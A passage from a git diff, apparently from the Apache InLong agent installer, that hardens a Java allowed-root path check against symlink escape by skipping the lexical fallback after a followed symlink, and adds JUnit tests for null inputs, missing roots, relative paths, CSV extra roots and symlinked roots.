the non-existent - * remainder back on before comparing. + * Three branches: + * ① Path fully exists: compare via {@code toRealPath()}; most reliable. + * ② Path partially non-existent (e.g. mkdir target): splice the real path of the + * nearest existing ancestor with the non-existent remainder and compare. + * If no match and a symlink was followed on the way up (realParent differs from + * the lexical form), treat it as a symlink escape and reject outright; the + * lexical fallback is skipped. + * ③ Fully non-existent, or step ② without following a symlink: fall back to a + * lexical comparison via {@code normalize()}. * * @param p a path; it is made absolute internally before the comparison. */ @@ -159,7 +186,7 @@ public boolean isUnderAllowedRoot(Path p) { } Path absolute = p.toAbsolutePath(); - // Path exists → resolve symlinks directly. + // ① Path exists: resolve symlinks and compare directly. try { Path real = absolute.toRealPath(); for (Path root : roots) { @@ -169,13 +196,12 @@ public boolean isUnderAllowedRoot(Path p) { } return false; } catch (IOException e) { - // Path does not exist yet (e.g. mkdir /new/dir). Walk up to the nearest - // existing ancestor, resolve its real path, and splice the remainder back. + // Path does not exist yet; fall through to ② / ③. } Path existingParent = findExistingParent(absolute); if (existingParent == null) { - // No part of the path exists; resort to normalize() only. + // No part of the path exists; only a lexical comparison is possible. Path normalized = absolute.normalize(); for (Path root : roots) { if (normalized.startsWith(root)) { @@ -185,6 +211,8 @@ public boolean isUnderAllowedRoot(Path p) { return false; } + // ② Splice the real path of the nearest existing ancestor with the remainder. + boolean realPathDiffers = false; try { Path realParent = existingParent.toRealPath(); Path remainder = existingParent.relativize(absolute); @@ -194,12 +222,18 @@ public boolean isUnderAllowedRoot(Path p) { return true; } } + // Was a symlink followed on the way up? If so, skip the lexical fallback + // to prevent symlink escape. + realPathDiffers = !realParent.equals(existingParent.normalize()); } catch (IOException ex) { LOGGER.warn("Cannot resolve real path for existing parent: {}", existingParent, ex); } - // Fall back to simple normalize in case the root set itself contains - // non-resolved paths (e.g. when a root directory did not exist at - // addRoot time and was stored via normalize() only). + if (realPathDiffers) { + return false; + } + + // ③ Lexical fallback: covers the case where the root was stored only in + // normalized form (e.g. it did not exist at addRoot() time). Path normalized = absolute.normalize(); for (Path root : roots) { if (normalized.startsWith(root)) { @@ -213,7 +247,7 @@ public boolean isUnderAllowedRoot(Path p) { * Walk up the directory tree to find the nearest ancestor that actually exists. * * @param path an absolute path - * @return the first existing ancestor, or {@code null} if no part of the path exists + * @return the nearest existing ancestor, or {@code null} if no part of the path exists */ private Path findExistingParent(Path path) { Path current = path; diff --git a/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java b/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java index 75c4fa2df5f..0f2a788a512 100644 --- a/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java +++ b/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java @@ -373,6 +373,129 @@ public void fullyNonExistentPath_shouldFallBackToNormalize() throws IOException } } + /** + * {@code ofPaths} with no argument, a {@code null} array, or a {@code null} element must + * all succeed and simply produce an empty root set (or skip the null element). Prevents a + * future refactor from dropping the defensive null-checks. + */ + @Test + public void ofPaths_nullAndEmptyInputs_shouldNotThrow() { + Assert.assertTrue("no argument should yield empty roots", + AllowedRootsResolver.ofPaths().getRoots().isEmpty()); + Assert.assertTrue("null Path[] should yield empty roots", + AllowedRootsResolver.ofPaths((Path[]) null).getRoots().isEmpty()); + + Path root = Paths.get(System.getProperty("java.io.tmpdir"), "inlong-test-root"); + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root, null); + Assert.assertTrue("non-null element must still be honoured", + resolver.isUnderAllowedRoot(root.resolve("child"))); + } + + /** + * A root that does not yet exist on disk (only the lexical form was stored) must still + * match itself. This pins the "branch ③ lexical fallback" positive case. + */ + @Test + public void isUnderAllowedRoot_rootItselfWhenRootMissing_shouldMatch() { + Path root = Paths.get(System.getProperty("java.io.tmpdir"), + "inlong-nonexistent-root-" + System.nanoTime()); + Assert.assertFalse("precondition: root must not exist", Files.exists(root)); + + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root); + Assert.assertTrue("root itself must match even when it does not yet exist", + resolver.isUnderAllowedRoot(root)); + } + + /** + * A relative path input must be resolved against the current working directory before + * the containment check. Guards against a refactor that accidentally compares raw + * relative paths against absolute roots. + */ + @Test + public void isUnderAllowedRoot_relativePath_shouldBeResolvedAgainstCwd() { + Path cwd = Paths.get("").toAbsolutePath(); + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(cwd); + + Path relative = Paths.get("relative-child-" + System.nanoTime()); + Assert.assertFalse(relative.isAbsolute()); + Assert.assertTrue("relative path must resolve under the CWD root", + resolver.isUnderAllowedRoot(relative)); + } + + /** + * End-to-end check that a root injected via {@code installer.command.extraAllowedRoots} + * is not only present in {@code getRoots()} but also accepted by + * {@link AllowedRootsResolver#isUnderAllowedRoot(Path)}. + */ + @Test + public void build_extraAllowedRoots_shouldBeUsedByIsUnderAllowedRoot() { + String extraRoot = Paths.get(System.getProperty("java.io.tmpdir"), + "extra-root-" + System.nanoTime()).toAbsolutePath().normalize().toString(); + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, extraRoot); + + AllowedRootsResolver resolver = AllowedRootsResolver.build(conf); + Assert.assertTrue("child of extra root must be accepted", + resolver.isUnderAllowedRoot(Paths.get(extraRoot, "child"))); + } + + /** + * A CSV made entirely of commas and blanks must not add any spurious root. Exercises the + * inner {@code for} loop's per-item {@code isNotBlank} guard, which the existing + * "blankValue" test does not reach (that one is short-circuited by the outer check). + */ + @Test + public void build_extraAllowedRoots_allBlankItems_shouldAddNoRoot() { + System.clearProperty(AgentConstants.AGENT_HOME); + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(AgentConstants.AGENT_HOME, null); + + // Baseline: no extra roots configured. + conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, null); + Set baseline = AllowedRootsResolver.build(conf).getRoots(); + + // Same config, but the extra-roots CSV is all blanks/commas. + conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, ",, , ,"); + Set withBlankCsv = AllowedRootsResolver.build(conf).getRoots(); + + Assert.assertEquals("CSV of only blanks/commas must not add roots", + baseline, withBlankCsv); + } + + /** + * A root whose canonical location differs from its lexical form (e.g. on macOS + * {@code /tmp} is a symlink to {@code /private/tmp}) must still match children queried + * via either form. This regression-guards the cross-platform issue where addRoot stores + * both the normalized and real path forms. + */ + @Test + public void isUnderAllowedRoot_rootBehindSymlink_shouldMatchViaEitherForm() throws IOException { + Path base = Files.createTempDirectory("allowedroot-symlink-root-"); + try { + Path realDir = base.resolve("real"); + Files.createDirectory(realDir); + Path linkDir = base.resolve("link"); + try { + Files.createSymbolicLink(linkDir, realDir); + } catch (UnsupportedOperationException | IOException e) { + // Filesystem does not support symlinks; nothing to verify. + return; + } + + // Register the root via the symlinked path. + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(linkDir); + + Files.createFile(linkDir.resolve("file.txt")); + + Assert.assertTrue("child queried via symlink path must match", + resolver.isUnderAllowedRoot(linkDir.resolve("file.txt"))); + Assert.assertTrue("child queried via real path must also match", + resolver.isUnderAllowedRoot(realDir.resolve("file.txt"))); + } finally { + deleteRecursively(base); + } + } + // ------------------------------------------------------------------ // Helpers // ------------------------------------------------------------------